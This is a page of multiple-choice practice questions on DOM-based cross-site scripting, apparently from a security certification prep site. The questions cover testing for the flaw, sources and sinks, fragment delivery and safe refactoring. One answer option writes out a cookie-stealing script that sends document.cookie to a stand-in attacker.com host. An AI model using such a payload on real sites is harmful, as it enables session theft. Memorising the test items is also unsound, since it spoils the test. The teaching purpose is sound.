DOM-based XSS WAHS Practice Questions (Page 4)

Questions 16–20

1. 16application · medium

   A QA engineer is testing a web application for DOM-based XSS. The app has a search feature that updates results dynamically without page reloads. The engineer suspects the search term is being written to the DOM unsafely. Which testing approach would most reliably confirm the vulnerability?

   • AUse the browser's developer tools to set a breakpoint on `innerHTML` assignments and then search for a unique string like `zztest`
   • BSubmit the search term directly in the URL path and check the server response for the term in the HTML source
   • CUse an automated scanner that only sends payloads in HTTP request headers
   • DDisable JavaScript in the browser and reload the search page to see if the term appears
   Reveal Solution Discussion Select an answer first
2. 17application · medium

   A penetration tester is reviewing a web page's JavaScript and finds the following code: var userInput = window.name; document.getElementById('output').innerHTML = userInput;. The tester wants to exploit this. Which statement correctly describes the source and sink, and how to exploit it?

   • AThe source is window.name and the sink is innerHTML; an attacker can set window.name via a crafted popup or link and inject HTML/script.
   • BThe source is innerHTML and the sink is window.name; the attacker must modify the server response to exploit it.
   • CThe source is the server response and the sink is window.name; the attacker must use a stored XSS payload.
   • DThe source is document.getElementById and the sink is window.name; the attacker can only perform a denial of service.
   Reveal Solution Discussion Select an answer first
4. 18application · medium

   A security engineer is analyzing a vulnerability report. The report states that a web application is vulnerable to XSS, but the payload is never observed in the HTTP request or response. The payload is delivered via a URL fragment and executed by client-side JavaScript. Which type of XSS is this, and why is it not visible in the HTTP traffic?

   • ADOM-based XSS, because the attack is executed entirely in the browser's DOM and the fragment is not sent to the server.
   • BStored XSS, because the payload is stored in the database.
   • CUniversal XSS, because it affects all browsers.
   • DReflected XSS, because the payload is reflected in the server's response.
   Reveal Solution Discussion Select an answer first
5. 19application · medium

   A developer is refactoring a legacy web application. The current code reads a value from location.search and writes it to the page using document.write. The developer wants to eliminate the DOM-based XSS risk while maintaining the same functionality. Which code change is the most appropriate?

   • AMove the value to a server-side variable and include it in the HTML response.
   • BKeep using document.write but encode the value with a custom function that replaces < and > with &lt; and &gt;.
   • CUse eval() to parse the value and then write the result with document.write.
   • DRead the value from location.search and assign it to a text node using document.createTextNode() before appending it to the DOM.
   Reveal Solution Discussion Select an answer first
6. 20application · hard

   A penetration tester finds that a web app reads `window.name` and inserts it into `document.getElementById('msg').innerHTML` on page load. The tester wants to craft a proof-of-concept that steals a victim's session cookie. Which payload delivery method is most appropriate?

   • AHost an attacker page that sets `window.name` to a payload and then redirects the browser to the vulnerable page
   • BSend the victim a link to `https://victim.com/page#<script>fetch('https://attacker.com/?c='+document.cookie)</script>`
   • CUse a bookmarklet that sets `document.cookie` to the payload and then reloads the page
   • DCraft a URL with a query parameter `?name=<script>alert(1)</script>` and send it to the victim
   Reveal Solution Discussion Select an answer first